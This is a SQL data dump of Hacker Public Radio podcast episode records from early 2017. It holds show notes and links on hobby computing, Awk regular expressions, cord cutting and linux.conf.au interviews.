(2215,'2017-01-27','Kickstarter Omega2 Plus first time setup walkthrough',534,'I talk about my experience setting up the Omega2 plus for the first time','<p>I paid for one Omega2 Plus Kickstarter pledge. Later, as most do, the project offers upgrades. My pack was for one Omega2 plus, an OLED module, and the expansion board. After pledging I then added on another Omega2, a GPS module and a mini expansion board. Review wise, this is a good inexpensive IOT kit for any beginner. Someone that is more advanced can get into Arduino, or ESP8266 with microPython.</p>\r\n<ul>\r\n<li>MC Hawking: <a href=\"https://www.mchawking.com\" class=\"uri\">https://www.mchawking.com</a> Check the nerdcore podcast there.</li>\r\n<li>Reference to <a href=\"https://systemau.net.au/\" class=\"uri\">https://systemau.net.au/</a> They often kickstart an indegogo as a segment.</li>\r\n<li>$5 WiFi Linux module Omega2 Plus kickstarter page. <a href=\"https://www.kickstarter.com/projects/onion/omega2-5-iot-computer-with-wi-fi-powered-by-linux\" class=\"uri\">https://www.kickstarter.com/projects/onion/omega2-5-iot-computer-with-wi-fi-powered-by-linux</a></li>\r\n<li>Onion.io getting started: <a href=\"https://wiki.onion.io/get-started\" class=\"uri\">https://wiki.onion.io/get-started</a></li>\r\n<li>FiftyOneFifty\'s Port forwarding show: <a href=\"https://hackerpublicradio.org/eps.php?id=1924\" class=\"uri\">https://hackerpublicradio.org/eps.php?id=1924</a></li>\r\n<li>TJoe single board computer show: <a href=\"https://code4sale.com/sbc/\" class=\"uri\">https://code4sale.com/sbc/</a> Joe follows and re-posts lots of really good tiny or single board computer links on Google plus.</li>\r\n</ul>\r\n<p>I mention Arduino and ESP8266 with microPython.</p>\r\n<ul>\r\n<li>MicroPython: <a href=\"https://docs.micropython.org/en/latest/pyboard/pyboard/quickref.html\" class=\"uri\">https://docs.micropython.org/en/latest/pyboard/pyboard/quickref.html</a></li>\r\n</ul>\r\n<p>Really good tutorials on how to get going with microPython:</p>\r\n<ul>\r\n<li><a href=\"https://learn.adafruit.com/micropython-displays-drawing-text\" class=\"uri\">https://learn.adafruit.com/micropython-displays-drawing-text</a></li>\r\n<li>Follow the Tony Dicola tutorials at Adafruit. He\'s got a lot of really good video tutorials on exactly what you need and how to do just about everything you would want to do with microcontrollers. <a href=\"https://learn.adafruit.com/users/tdicola\" class=\"uri\">https://learn.adafruit.com/users/tdicola</a></li>\r\n<li><a href=\"https://docs.micropython.org/en/latest/esp8266/esp8266/tutorial/intro.html\" class=\"uri\">https://docs.micropython.org/en/latest/esp8266/esp8266/tutorial/intro.html</a></li>\r\n</ul>\r\n<h3 id=\"links\">Links</h3>\r\n<ul>\r\n<li><a href=\"https://www.mchawking.com\" class=\"uri\">https://www.mchawking.com</a></li>\r\n<li><a href=\"https://systemau.net.au/\" class=\"uri\">https://systemau.net.au/</a></li>\r\n<li><a href=\"https://www.kickstarter.com/projects/onion/omega2-5-iot-computer-with-wi-fi-powered-by-linux\" class=\"uri\">https://www.kickstarter.com/projects/onion/omega2-5-iot-computer-with-wi-fi-powered-by-linux</a></li>\r\n<li><a href=\"https://wiki.onion.io/get-started\" class=\"uri\">https://wiki.onion.io/get-started</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=1924\" class=\"uri\">https://hackerpublicradio.org/eps.php?id=1924</a></li>\r\n<li><a href=\"https://code4sale.com/sbc/\" class=\"uri\">https://code4sale.com/sbc/</a></li>\r\n<li><a href=\"https://docs.micropython.org/en/latest/pyboard/pyboard/quickref.html\" class=\"uri\">https://docs.micropython.org/en/latest/pyboard/pyboard/quickref.html</a></li>\r\n<li><a href=\"https://learn.adafruit.com/micropython-displays-drawing-text\" class=\"uri\">https://learn.adafruit.com/micropython-displays-drawing-text</a></li>\r\n<li><a href=\"https://learn.adafruit.com/users/tdicola\" class=\"uri\">https://learn.adafruit.com/users/tdicola</a></li>\r\n<li><a href=\"https://docs.micropython.org/en/latest/esp8266/esp8266/tutorial/intro.html\" class=\"uri\">https://docs.micropython.org/en/latest/esp8266/esp8266/tutorial/intro.html</a></li>\r\n</ul>',96,91,0,'CC-BY-SA','onion.io, omega2, python, linux, sbc, single board computer, espeak, ogg vorbis, mc hawking',0,0,1),
(2217,'2017-01-31','building a new voice input device',351,'a bunch of jibber jabber about putting a little computer into a phone','<p>CHIP computer: <a href=\"https://getchip.com/pages/chip\" class=\"uri\">https://getchip.com/pages/chip</a></p>\r\n<p>Post about the build: <a href=\"https://jezra.net/post/2017-01-10_phonos.html\" class=\"uri\">https://jezra.net/post/2017-01-10_phonos.html</a></p>\r\n<p>Now I can get crackin on &quot;How I make beef jerky&quot; :)</p>\r\n',243,0,0,'CC-BY-SA','voice input,C.H.I.P.,telephone,rotary dial,handset,Blather',0,0,1),
(2218,'2017-02-01','Cool Stuff pt. 5',875,'CPrompt talks about some more cool stuff for you to enjoy!','<ol type=\"1\">\r\n<li>Android App: Opera Mini\r\n<ul>\r\n<li>Need a browser for your phone that does a good job blocking ads? Check this one out!\r\n<ul>\r\n<li><a href=\"https://www.opera.com/mobile/mini\" class=\"uri\">https://www.opera.com/mobile/mini</a></li>\r\n<li><a href=\"https://www.opera.com/mobile/mini/android\" class=\"uri\">https://www.opera.com/mobile/mini/android</a></li>\r\n</ul></li>\r\n</ul></li>\r\n<li>Website: CharacterMap\r\n<ul>\r\n<li>A website that allows you to load fonts to get information about glyphs including the unicode.\r\n<ul>\r\n<li><a href=\"https://bluejamesbond.github.io/CharacterMap/\" class=\"uri\">https://bluejamesbond.github.io/CharacterMap/</a></li>\r\n</ul></li>\r\n</ul></li>\r\n<li>Music: Gilad Hekselman\r\n<ul>\r\n<li>Probably one of the best jazz guitarists out today.\r\n<ul>\r\n<li><a href=\"https://www.giladhekselman.com/\" class=\"uri\">https://www.giladhekselman.com/</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Gilad_Hekselman\" class=\"uri\">https://en.wikipedia.org/wiki/Gilad_Hekselman</a></li>\r\n<li><a href=\"https://www.youtube.com/results?search_query=gilad+hekselman\" class=\"uri\">https://www.youtube.com/results?search_query=gilad+hekselman</a></li>\r\n</ul></li>\r\n</ul></li>\r\n</ol>\r\n',252,0,0,'CC-BY-SA','android,Opera Mini,CharacterMap,font,music,jazz',0,0,1),
(2219,'2017-02-02','The Musings of a Novice Cable TV Cord Cutter',3503,'My adventures with dealing with my local cable TV provider and my hardware selections.','<p>I\'ve included various websites of the items I discussed in the podcast.</p>\r\n<p>One thing I didn\'t mention in my podcast is that to use Roku streaming applications you go to the Roku store via your Roku device or via a computer browser and set up a Roku account. Once you have an account you have downloading access to the apps. Most of these apps are free but most premium service require a monthly fee which can be paid through Roku or the streaming service.</p>\r\n<p>Roku Channel Store: <a href=\"https://channelstore.roku.com/browse\" class=\"uri\">https://channelstore.roku.com/browse</a></p>\r\n<p>For apps not in the official Roku Channel Store there is an unofficial Roku Private Channels store. These are applications for Roku devices similar to the Kodi/XBMC plug-ins:</p>\r\n<p><a href=\"https://mkvxstream.blogspot.com/2016/08/roku-private-channels-roku-channels.html\" class=\"uri\">https://mkvxstream.blogspot.com/2016/08/roku-private-channels-roku-channels.html</a></p>\r\n<hr />\r\n<p>I AM NOT CONDONING PIRACY OR BREAKING OF DMCA LAWS!!!</p>\r\n<p>DMCA Wikipedia: <a href=\"https://en.wikipedia.org/wiki/Digital_Millennium_Copyright_Act\" class=\"uri\">https://en.wikipedia.org/wiki/Digital_Millennium_Copyright_Act</a></p>\r\n<hr />\r\n<p>I found a couple of apps in the Roku Private Channels store that can provide me access to ESPN if I wish to use them.</p>\r\n<p>I don\'t condone piracy so use at your own risk:</p>\r\n<p><a href=\"https://mkvxstream.blogspot.com/2016/08/roku-private-channels-roku-channels.html\" class=\"uri\">https://mkvxstream.blogspot.com/2016/08/roku-private-channels-roku-channels.html</a></p>\r\n<hr />\r\n<p>General Roku information:</p>\r\n<ol type=\"1\">\r\n<li>Roku Wikipedia Info: <a href=\"https://en.wikipedia.org/wiki/Roku\" class=\"uri\">https://en.wikipedia.org/wiki/Roku</a></li>\r\n<li>TCL Roku TVs: <a href=\"https://www.tclusa.com/roku/\" class=\"uri\">https://www.tclusa.com/roku/</a></li>\r\n<li>Roku TVs Sold by Amazon: <a href=\"https://www.amazon.com/gp/search/ref=a9_asi_1?rh=i%3Aelectronics%2Cn%3A172282%2Ck%3Aroku+tv&amp;keywords=roku+tv&amp;ie=UTF8&amp;qid=1485043393\">https://www.amazon.com/gp/search/ref=a9_asi_1?rh=i%3Aelectronics%2Cn%3A172282%2Ck%3Aroku+tv&amp;keywords=roku+tv&amp;ie=UTF8&amp;qid=1485043393</a></li>\r\n<li>Roku Boxes: <a href=\"https://www.roku.com/roku-tv\" class=\"uri\">https://www.roku.com/roku-tv</a></li>\r\n<li>Amplified TV Antennas Review: <a href=\"https://www.tomsguide.com/us/best-tv-antennas,review-2354.html\" class=\"uri\">https://www.tomsguide.com/us/best-tv-antennas,review-2354.html</a></li>\r\n<li>Indoor Amplified TV Antennas Sold by Amazon: <a href=\"https://www.amazon.com/s/ref=nb_sb_ss_i_4_5/159-5067263-7652968?url=search-alias%3Delectronics&amp;field-keywords=amplified+indoor+hdtv+antenna&amp;sprefix=ampli%2Cundefined%2C148&amp;crid=14O1SJA572XSH\">https://www.amazon.com/s/ref=nb_sb_ss_i_4_5/159-5067263-7652968?url=search-alias%3Delectronics&amp;field-keywords=amplified+indoor+hdtv+antenna&amp;sprefix=ampli%2Cundefined%2C148&amp;crid=14O1SJA572XSH</a></li>\r\n<li>Cox Communications: <a href=\"https://www.cox.com/residential/home.html\" class=\"uri\">https://www.cox.com/residential/home.html</a></li>\r\n</ol>\r\n',348,0,0,'CC-BY-SA','cable TV,cable,TV,Roku',0,0,1),
(2228,'2017-02-15','linux.conf.au 2017: Russell Keith-Magee',1055,'A wide ranging interview with Russell Keith-Magee','<p>I interview Russell Keith-Magee at linux.conf.au 2017 in Hobart, Tasmania, Australia.</p>\r\n<p>linux.conf.au</p>\r\n<ul>\r\n<li>BeeWare <a href=\"https://pybee.org/\" class=\"uri\">https://pybee.org/</a></li>\r\n<li>Stranger in a strange land: Breaking language monocultures with open source <a href=\"https://linux.conf.au/schedule/presentation/32/\" class=\"uri\">https://linux.conf.au/schedule/presentation/32/</a></li>\r\n<li>Open Hardware miniconf <a href=\"https://www.openhardwareconf.org/wiki/Main_Page\" class=\"uri\">https://www.openhardwareconf.org/wiki/Main_Page</a></li>\r\n<li>Wootconf <a href=\"https://linux.conf.au/schedule/presentation/7/\" class=\"uri\">https://linux.conf.au/schedule/presentation/7/</a></li>\r\n<li>Knit One, Compute One <a href=\"https://linux.conf.au/schedule/presentation/120/\" class=\"uri\">https://linux.conf.au/schedule/presentation/120/</a></li>\r\n<li>Condensed History of Lock Picking <a href=\"https://linux.conf.au/schedule/presentation/122/\" class=\"uri\">https://linux.conf.au/schedule/presentation/122/</a></li>\r\n<li>JavaScript is Awe-ful <a href=\"https://linux.conf.au/schedule/presentation/73/\" class=\"uri\">https://linux.conf.au/schedule/presentation/73/</a></li>\r\n<li>Keynote: Consider the Maintainer <a href=\"https://linux.conf.au/schedule/presentation/106/\" class=\"uri\">https://linux.conf.au/schedule/presentation/106/</a></li>\r\n<li>Roads and Bridges report <a href=\"https://www.fordfoundation.org/library/reports-and-studies/roads-and-bridges-the-unseen-labor-behind-our-digital-infrastructure\" class=\"uri\">https://www.fordfoundation.org/library/reports-and-studies/roads-and-bridges-the-unseen-labor-behind-our-digital-infrastructure</a></li>\r\n</ul>\r\n',315,78,1,'CC-BY-SA','lca2017',0,0,1),
(2229,'2017-02-16','linux.conf.au 2017: Kathy Reid',1600,'An interview with the new Linux Australia president Kathy Reid','<p>Clinton interviews Kathy Reid, the new president of Linux Australia.</p>\r\n<p>linux.conf.au</p>\r\n<ul>\r\n<li>Linux Australia <a href=\"https://linux.org.au/\" class=\"uri\">https://linux.org.au/</a></li>\r\n<li>Linux Australia grants <a href=\"https://linux.org.au/grants\" class=\"uri\">https://linux.org.au/grants</a></li>\r\n<li>Outreachy inclusion program <a href=\"https://www.gnome.org/outreachy/\" class=\"uri\">https://www.gnome.org/outreachy/</a></li>\r\n<li>Python Software Foundation <a href=\"https://www.python.org/psf/\" class=\"uri\">https://www.python.org/psf/</a></li>\r\n</ul>',315,78,0,'CC-BY-SA','lca2017',0,0,1),
(2230,'2017-02-17','linux.conf.au 2017: Donna Benjamin',1965,'Clinton interviews speaker and previous linux.conf.au organiser Donna Benjamin','<ul>\r\n<li>Community Leadership Summit X at LCA <a href=\"https://lca2017.linux.org.au/presentation/10/\" class=\"uri\">https://lca2017.linux.org.au/presentation/10/</a>\r\n<ul>\r\n<li>Handle Conflict, Like a Boss! <a href=\"https://lca2017.linux.org.au/schedule/presentation/37/\" class=\"uri\">https://lca2017.linux.org.au/schedule/presentation/37/</a></li>\r\n<li>Kathy Sierra: Badass: Making Users Awesome<br />\r\nI am your user. Why do you hate me? <a href=\"https://lca2017.linux.org.au/schedule/presentation/74/\" class=\"uri\">https://lca2017.linux.org.au/schedule/presentation/74/</a></li>\r\n<li>Material Design <a href=\"https://material.io/\" class=\"uri\">https://material.io/</a></li>\r\n<li>Moodle learning platform <a href=\"https://moodle.org\" class=\"uri\">https://moodle.org</a></li>\r\n<li>Yahoo UI <a href=\"https://yuilibrary.com/\" class=\"uri\">https://yuilibrary.com/</a></li>\r\n<li>Drupal Content Management System <a href=\"https://www.drupal.org/\" class=\"uri\">https://www.drupal.org/</a></li>\r\n<li>Bootstrap HTML/CSS/JS framework <a href=\"https://getbootstrap.com/\" class=\"uri\">https://getbootstrap.com/</a></li>\r\n</ul></li>\r\n</ul>\r\n',315,78,0,'CC-BY-SA','lca2017',0,0,1),
(2231,'2017-02-20','linux.conf.au 2017: Rusty Russell',2231,'Clinton interviews linux.conf.au creator Rusty Russell','<p>CCAN <a href=\"https://ccodearchive.net/\" class=\"uri\">https://ccodearchive.net/</a></p>\r\n<p>linux.conf.au</p>',315,78,0,'CC-BY-SA','lca2017',0,0,1),
(2232,'2017-02-21','linux.conf.au 2017: Lilly Ryan',953,'An interview with speaker and trainer Lilly Ryan','<p>Coder Dojo</p>\r\n<ul>\r\n<li><a href=\"https://coderdojo.com/\" class=\"uri\">https://coderdojo.com/</a></li>\r\n<li><a href=\"https://coderdojobrisbane.com.au/\" class=\"uri\">https://coderdojobrisbane.com.au/</a></li>\r\n<li>Non-native English speakers in Open Source communities: A True Story<br />\r\n<a href=\"https://linux.conf.au/schedule/presentation/70/\" class=\"uri\">https://linux.conf.au/schedule/presentation/70/</a></li>\r\n<li>Rage Against the Ghost in the Machine<br />\r\n<a href=\"https://linux.conf.au/schedule/presentation/151/\" class=\"uri\">https://linux.conf.au/schedule/presentation/151/</a></li>\r\n<li>Scientific Hooliganism<br />\r\n<a href=\"https://www.youtube.com/watch?v=qVYmMtLjcAY\" class=\"uri\">https://www.youtube.com/watch?v=qVYmMtLjcAY</a></li>\r\n<li>Lightning talks (five minute long talks)<br />\r\n<a href=\"https://linux.conf.au/wiki/conference/lightning_talks/\" class=\"uri\">https://linux.conf.au/wiki/conference/lightning_talks/</a></li>\r\n</ul>',315,78,0,'CC-BY-SA','lca2017',0,0,1),
(2233,'2017-02-22','linux.conf.au 2017: Hugh Blemmings',2233,'Clinton interviews Hugh Blemmings of the Linux Australia council','<p>Clinton speaks with Hugh Blemmings, immediate past President of Linux Australia</p>\r\n<p>Linux Australia<br />\r\nlinux.org.au</p>\r\n<ul>\r\n<li>Linux-Kernel Memory Ordering: Help Arrives At Last!<br />\r\n<a href=\"https://linux.conf.au/schedule/presentation/19/\" class=\"uri\">https://linux.conf.au/schedule/presentation/19/</a></li>\r\n<li>Data Structures and Algorithms in the 21st Century<br />\r\n<a href=\"https://linux.conf.au/schedule/presentation/69/\" class=\"uri\">https://linux.conf.au/schedule/presentation/69/</a></li>\r\n<li>Friday Keynote: Keeping Linux Great<br />\r\n<a href=\"https://linux.conf.au/schedule/presentation/107/\" class=\"uri\">https://linux.conf.au/schedule/presentation/107/</a></li>\r\n</ul>',315,78,0,'CC-BY-SA','lca2017',0,0,1),
(2234,'2017-02-23','linux.conf.au 2017: Richard Jones',2234,'Two PyCon Australia organisers talk about PyConAu 2017','<p>Clinton chats with Richard Jones, head of PyCon Australia 2016/17</p>\r\n<p>We talk about PyCon Australia, and microPython.</p>\r\n<ul>\r\n<li>PyCon Australia<br />\r\n<a href=\"https://2017.pycon-au.org/\" class=\"uri\">https://2017.pycon-au.org/</a></li>\r\n<li>microPython for ESP32<br />\r\n<a href=\"https://linux.conf.au/schedule/presentation/202/\" class=\"uri\">https://linux.conf.au/schedule/presentation/202/</a></li>\r\n</ul>',315,78,0,'CC-BY-SA','lca2017',0,0,1),
(2235,'2017-02-24','linux.conf.au 2017: First timers interviews',2235,'Clinton speaks to three linux.conf.au first timers','<p>Clinton speaks to three linux.conf.au first timers for their take on the conference: York, Cat and Neeraj.</p>\r\n<ul>\r\n<li>York\r\n<ul>\r\n<li>The Internet of Houses: Whare Hauora<br />\r\n<a href=\"https://linux.conf.au/schedule/presentation/100/\" class=\"uri\">https://linux.conf.au/schedule/presentation/100/</a></li>\r\n</ul></li>\r\n<li>Cat\r\n<ul>\r\n<li>Reusable R for automation, small area estimation and legacy systems<br />\r\n<a href=\"https://linux.conf.au/schedule/presentation/44/\" class=\"uri\">https://linux.conf.au/schedule/presentation/44/</a></li>\r\n</ul></li>\r\n<li>Neeraj\r\n<ul>\r\n<li>Open Knowledge Australia miniconf<br />\r\n<a href=\"https://linux.conf.au/schedule/presentation/4/\" class=\"uri\">https://linux.conf.au/schedule/presentation/4/</a></li>\r\n<li>GovHack<br />\r\n<a href=\"https://www.govhack.org/\" class=\"uri\">https://www.govhack.org/</a></li>\r\n<li>The Trouble with FreeBSD<br />\r\n<a href=\"https://linux.conf.au/schedule/presentation/104/\" class=\"uri\">https://linux.conf.au/schedule/presentation/104/</a></li>\r\n</ul></li>\r\n</ul>',315,78,0,'CC-BY-SA','lca2017',0,0,1),
(2236,'2017-02-27','Hoarding Raspberry Pis',1515,'In this episode, I discuss my growing obsession with building a Raspberry Pi data center.','<h1 id=\"show-notes\">Show Notes</h1>\r\n<p>In this episode, I discuss my growing obsession with building a Raspberry Pi data center.</p>\r\n<a href=\"https://hackerpublicradio.org/eps/hpr2236_pi_stack.jpg\"><img src=\"https://hackerpublicradio.org/eps/hpr2236_pi_stack_small.jpg\" alt=\"Tower of Pi\" height=\"640\" width=\"640\" /></a>\r\n<p>Items referenced in this episode:</p>\r\n<ul>\r\n<li><a href=\"https://www.raspberrypi.org\">Raspberry Pi</a></li>\r\n<li><a href=\"https://ubuntu-pi-flavour-maker.org/download/\">Ubuntu Server for Raspberry Pi</a></li>\r\n<li><a href=\"https://ubuntuserverguide.com/2014/01/how-to-test-internet-connection-speed-using-speedtest-cli-on-ubuntu-server.html\">Speedtest-cli usage</a></li>\r\n<li><a href=\"https://www.raspberry-projects.com/pi/software_utilities/email/ssmtp-to-send-emails\">Send Emails from Raspberry Pi</a></li>\r\n<li><a href=\"https://www.instructables.com/id/GitPi-A-Private-Git-Server-on-Raspberry-Pi/\">Raspberry Pi Git Server</a></li>\r\n<li><a href=\"https://bitbucket.org/ryoung29/bottle-workout\">My Workout App</a></li>\r\n<li><a href=\"https://tt-rss.org/gitlab/fox/tt-rss/wikis/home\">Tiny Tiny RSS</a></li>\r\n<li><a href=\"https://bitbucket.org/ryoung29/crm-app\">My CRM App</a></li>\r\n<li><a href=\"https://a.co/bjHs474\">4-layer Raspberry Pi Rack</a></li>\r\n<li><a href=\"https://a.co/9XhUgIP\">7-layer Raspberry Pi Rack</a></li>\r\n</ul>\r\n<p>Hope this was enjoyable, if not, informative!</p>\r\n',300,0,0,'CC-BY-SA','Raspberry Pi, server, raspbian',0,0,1),
(2237,'2017-02-28','Do you care?',464,'Some thoughts on the phrase I couldn\'t care less.','<p>CPrompt talks about one of his pet-peeves. The phrase &quot;I could care less&quot;</p>\r\n',252,0,0,'CC-BY-SA','English,idiom',0,0,1),
(2238,'2017-03-01','Gnu Awk - Part 6',2379,'Looking more deeply into Awk\'s regular expressions','<h1 id=\"gnu-awk---part-6\">Gnu Awk - Part 6</h1>\r\n<h2 id=\"introduction\">Introduction</h2>\r\n<p>This is the sixth episode of the “<a href=\"https://hackerpublicradio.org/series.php?id=94\" title=\"Learning Awk\">Learning Awk</a>” series that <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=300\" title=\"b-yeezi\">b-yeezi</a> and I are doing.</p>\r\n<h2 id=\"recap-of-the-last-episode\">Recap of the last episode</h2>\r\n<h3 id=\"regular-expressions\">Regular expressions</h3>\r\n<p>In the last episode we saw regular expressions in the ‘<em>pattern</em>’ part of a ‘<em>pattern {action}</em>’ sequence. Such a sequence is called a ‘<em>RULE</em>’, (as we have seen in earlier episodes).</p>\r\n<pre><code>$1 ~ /p[elu]/ {print $0}</code></pre>\r\n<p><strong>Meaning</strong>: <em>If field 1 contains a ‘p’ followed by one of ‘e’, ‘l’ or ‘u’ print the whole line</em>.</p>\r\n<pre><code>$2 ~ /e{2}/ {print $0}</code></pre>\r\n<p><strong>Meaning</strong>: <em>If field 2 contains two instances of letter ‘e’ in sequence, print the whole line.</em></p>\r\n<p>It is usual to enclose the regular expression in slashes, which make it a <em>regexp constant</em>.</p>\r\n<p>We had a look at many of the <em>operators</em> used in regular expressions in episode 5. Unfortunately, some small errors crept into the list of operators mentioned in that episode. These are incorrect:</p>\r\n<ul>\r\n<li><del>\\A</del> (beginning of a string)</li>\r\n<li><del>\\z</del> (end of a string)</li>\r\n<li><del>\\b</del> (on a word boundary)</li>\r\n</ul>\r\n<p>The first two operators exist, in languages like Perl and Ruby, but not in GNU Awk.</p>\r\n<p>For the ‘\\b’ sequence the GNU manual says:</p>\r\n<blockquote>\r\n<p><em>In other GNU software, the word-boundary operator is ‘\\b’. However, that conflicts with the awk language’s definition of ‘\\b’ as backspace, so gawk uses a different letter. An alternative method would have been to require two backslashes in the GNU operators, but this was deemed too confusing. The current method of using ‘\\y’ for the GNU ‘\\b’ appears to be the lesser of two evils.</em></p>\r\n</blockquote>\r\n<p>The corrected list of operators is discussed later in this episode.</p>\r\n<h3 id=\"replacement\">Replacement</h3>\r\n<p>Last episode we saw the built-in functions that use regular expressions for manipulating strings. These are <code>sub</code>, <code>gsub</code> and <code>gensub</code>. Regular expressions are used in other functions but we will look at them later.</p>\r\n<p>We will be looking at <code>sub</code>, <code>gsub</code> and <code>gensub</code> in more detail in this episode.</p>\r\n<h2 id=\"long-notes\">Long notes</h2>\r\n<p>I have written out a set of longer notes for this episode and these are available <a href=\"https://hackerpublicradio.org/eps/hpr2238/full_shownotes.html\">here</a>.</p>\r\n<h2 id=\"links\">Links</h2>\r\n<ul>\r\n<li><a href=\"https://www.gnu.org/software/gawk/manual/html_node/index.html\"><em>GNU Awk User’s Guide</em></a></li>\r\n<li>Previous shows in this series on HPR:\r\n<ul>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2114\">“<em>Gnu Awk - Part 1</em>”</a> - episode 2114</li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2129\">“<em>Gnu Awk - Part 2</em>”</a> - episode 2129</li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2143\">“<em>Gnu Awk - Part 3</em>”</a> - episode 2143</li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2163\">“<em>Gnu Awk - Part 4</em>”</a> - episode 2163</li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2184\">“<em>Gnu Awk - Part 5</em>”</a> - episode 2184</li>\r\n</ul></li>\r\n<li>The “<em>Learning sed</em>” series:\r\n<ul>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=1976\">“Introduction to sed - part 1”</a> - episode 1976</li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=1986\">“Introduction to sed - part 2”</a> - episode 1986</li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=1997\">“Introduction to sed - part 3”</a> - episode 1997</li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2011\">“Introduction to sed - part 4”</a> - episode 2011</li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2060\">“Introduction to sed - part 5”</a> - episode 2060</li>\r\n</ul></li>\r\n<li>The “<a href=\"https://www.mockaroo.com/\">Mockaroo</a>” data generator site</li>\r\n<li>The Vim plugin “<a href=\"https://github.com/chrisbra/csv.vim\">csv.vim</a>”</li>\r\n<li>Resources:\r\n<ul>\r\n<li><a href=\"https://hackerpublicradio.org/eps/hpr2238_full_shownotes.epub\">ePub version of these notes</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps/hpr2238_full_shownotes.pdf\">PDF version of these notes</a></li>\r\n<li>Demonstration of some regex operators: <a href=\"https://hackerpublicradio.org/eps/hpr2238/contacts.awk\">contacts.awk</a></li>\r\n<li>File of dummy contacts: <a href=\"https://hackerpublicradio.org/eps/hpr2238/contacts.txt\">contacts.txt</a></li>\r\n</ul></li>\r\n</ul>',225,94,1,'CC-BY-SA','Awk utility, Awk language, gawk, regular expression',0,0,1),
(2245,'2017-03-10','Managing tags on HPR episodes - 1',1568,'Looking for the best way to store and manage tags in the HPR database, part 1','<h1 id=\"managing-tags-on-hpr-episodes---1\">Managing tags on HPR episodes - 1</h1>\r\n<h2 id=\"introduction\">Introduction</h2>\r\n<p>We have been collecting and storing tags for new HPR shows for a while now with the intention of eventually offering a search interface. In addition, a number of contributors, including myself have been adding tags (and summaries), to shows that do not have them, since August 2015. There is still a way to go, but we’re making progress. At the time of writing (2017-01-31) 56.29% (1248) of all HPR shows (2217) have tags.</p>\r\n<p>In recent times the way in which we should use these tags has been discussed. In show <a href=\"https://hackerpublicradio.org/eps.php?id=2035\" title=\"Building Community\">2035</a> on 2016-05-20 <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=1\" title=\"droops\">droops</a> suggested:</p>\r\n<blockquote>\r\n<p><em>The website, which is a lot of work, needs to have related shows listed on each individual show’s page. This will take a tag system and someone to tag all of the almost uncountable previous episodes.</em></p>\r\n</blockquote>\r\n<p>This episode begins a discussion about some of the ways that tags can be stored, managed and accessed efficiently in the HPR database.</p>\r\n<p>I started planning a show about this subject in the summer of 2016, and the amount of information I have accumulated has grown since then. There is now quite a lot, so I am going to split what was originally going to be one show into three.</p>\r\n<p>The subject becomes quite technical in the later shows, discussing database design techniques, and all three of the shows contain examples of database queries and scripts. If you are not interested in this subject than feel free to skip past. However, you might find this first episode more palatable, and any thoughts you might have on the subject would be appreciated.</p>\r\n<h2 id=\"long-notes\">Long notes</h2>\r\n<p>I have written out a set of longer notes for this episode and these are available <a href=\"https://hackerpublicradio.org/eps/hpr2245/full_shownotes.html\">here</a>.</p>\r\n<h2 id=\"links\">Links</h2>\r\n<ul>\r\n<li>HPR show 2035: <a href=\"https://hackerpublicradio.org/eps.php?id=2035\">“<em>Building Community</em>”</a></li>\r\n<li>Wikipedia page on <a href=\"https://en.wikipedia.org/wiki/Comma-separated_values\">Comma Separated Values</a></li>\r\n<li>RFC 4180 <a href=\"https://www.ietf.org/rfc/rfc4180.txt\">“<em>Common Format and MIME Type for Comma-Separated Values (CSV) Files</em>”</a></li>\r\n<li>HPR web page listing <a href=\"https://hackerpublicradio.org/report_missing_tags.php\">shows missing summaries and tags</a></li>\r\n<li>Resources:\r\n<ul>\r\n<li>Perl script to clean the tags field in the database: <a href=\"https://hackerpublicradio.org/eps/hpr2245/clean_csv_tags\">clean_csv_tags</a></li>\r\n</ul></li>\r\n</ul>',225,0,1,'CC-BY-SA','HPR,database,schema,tag',0,0,1),
(2248,'2017-03-15','2016-2017 HPR New Year show episode 2',14462,'Hacker Public Radio new years eve show episode 2','<h2 id=\"hpr-new-years-eve-show-episode-2\">HPR new years eve show episode 2</h2>\r\n<ul>\r\n<li>Linux KDE Neon <a href=\"https://neon.kde.org\" class=\"uri\">https://neon.kde.org</a></li>\r\n<li>Steamship Virginia V <a href=\"https://www.virginiav.org\" class=\"uri\">https://www.virginiav.org</a></li>\r\n<li>Arthur foss <a href=\"https://nwseaport.org/historic-fleet/tugboat-arthur-foss/\" class=\"uri\">https://nwseaport.org/historic-fleet/tugboat-arthur-foss/</a></li>\r\n<li>Tablet computing</li>\r\n<li>Ham radio</li>\r\n<li>Ham in the oven</li>\r\n<li>Booze</li>\r\n<li>Fraternities</li>\r\n<li>Linux Fests</li>\r\n<li>Remembering Matthew Williams</li>\r\n<li>Bob Jonkman mentions the Kitchener-Waterloo LinuxFest <a href=\"https://kwlinuxfest.ca\" class=\"uri\">https://kwlinuxfest.ca</a></li>\r\n<li>fixing audio on a computer with beats audio</li>\r\n<li>open linux community <a href=\"https://olcommunity.forumotion.info/\" class=\"uri\">https://olcommunity.forumotion.info/</a></li>\r\n<li>Linux desktops</li>\r\n<li>Linux desktops</li>\r\n<li>mobile os</li>\r\n<li>GORDON LOVES KDE\r\n<ul>\r\n<li>the answer is always arch :)</li>\r\n</ul></li>\r\n<li>learning languages with duolingo <a href=\"https://www.duolingo.com\" class=\"uri\">https://www.duolingo.com</a></li>\r\n</ul>',159,121,1,'CC-BY-SA','new years eve show',0,0,1),
